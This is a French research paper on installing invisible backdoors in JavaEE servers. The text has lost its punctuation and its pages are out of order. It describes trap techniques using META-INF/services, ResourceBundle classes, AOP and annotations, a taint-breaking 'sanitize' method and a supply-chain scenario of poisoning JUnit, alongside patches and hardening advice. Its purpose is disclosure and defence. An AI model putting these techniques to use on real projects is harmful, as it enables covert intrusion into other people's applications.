Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
388 Porte derobee dans les serveurs drsquoapplications JavaEE
Pour resister a un audit le code de la porte derobee ne doit pas etre presentdans les sources Lrsquoapplication ne doit pas lrsquoinvoquer directement Ainsi la porteest generalement exclue des audits Pour cela il faut que la simple presence drsquounearchive consideree a tord comme saine suffise a declencher lrsquoattaque
Pour ne pas dependre de lrsquoevolution du code applicatif le code doit utiliser desattaques generiques fonctionnant quelque soit lrsquoapplication
Pour contourner les pare-feu le code doit simuler une navigation drsquoun utilisateurIl doit respecter toutes les contraintes sur les URLs les champs presents dans lesrequetes le format de chaque champ etc Il ne peut pas ajouter de nouvelles URLsou de nouveaux champs
Pour contourner les outils drsquoanalyses de byte-code1 a la recherche de variablesnon saine lors de lrsquoinvocation de traitements risques il faut utiliser une ecriture decode specifique cassant la propagation de la teinture sur les variables
La methode ci-dessous casse la propagation des teintures sur les variables simple-ment en changeant le type de la donnee
private static String sanitize(String s)
char[] buf=new char[slength ()]
Systemarraycopy(stoCharArray () 0 buf 0 slength ())
return new String(buf)
2 Implementation
Le code de la porte derobee doit suivre plusieurs etapes pour srsquoinstaller definitivementdans le serveur drsquoapplication et etre capable de detourner le flux des traitements Cesetapes sont detaillees ci-dessous par ordre chronologique
ndash Piege de lrsquoapplicationndash Augmentation des privilegesndash Injection dans le flux de traitement des requetes HTTPndash Detection de lrsquoouverturendash Communication discretendash Execution des agents
21 Les pieges
La premiere etape consiste a initialiser la porte derobee Elle doit pouvoir demarreralors que le code applicatif ignore sa presence Pour cela il faut utiliser des piegespour permettre une execution de code par la simple presence drsquoune archive JAR
1 httpsuifstanfordedu~livshitspaperspdfthesispdf
P Prados 389
Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants
Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser
ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations
22 Piege par laquo surcharge raquo
La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication
Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire
Fig 1 Enchaınement de classes
Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire
lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la
copie nrsquoen tient pas compte
390 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM
Cette approche est donc rejetee
23 Piege par laquo parametrage raquo
De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code
Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)
ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt
ndash Ressource ltparamwsddgt
La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet
Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer
Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API
Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite
Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes
1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-
Factory
2 httpjavasuncomj2se13docsguidejarjarhtml
P Prados 391
2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory
3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory
4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl
La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence
Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory
ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory
ndash META-INFservicesorgapacheaxisEngineConfigurationFactory
ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple
pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant
public static class MonSAXParserFactory
extends SAXParserFactory
private final SAXParserFactory next_
Calc next parser
private static SAXParserFactory getNextSAXParser ()
return
public SAXParserFactory ()
next_=protectctrSAXParser ()
Inject code here
public Schema getSchema ()
return next_getSchema ()
La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory
permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch
q=META-INF+providers
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
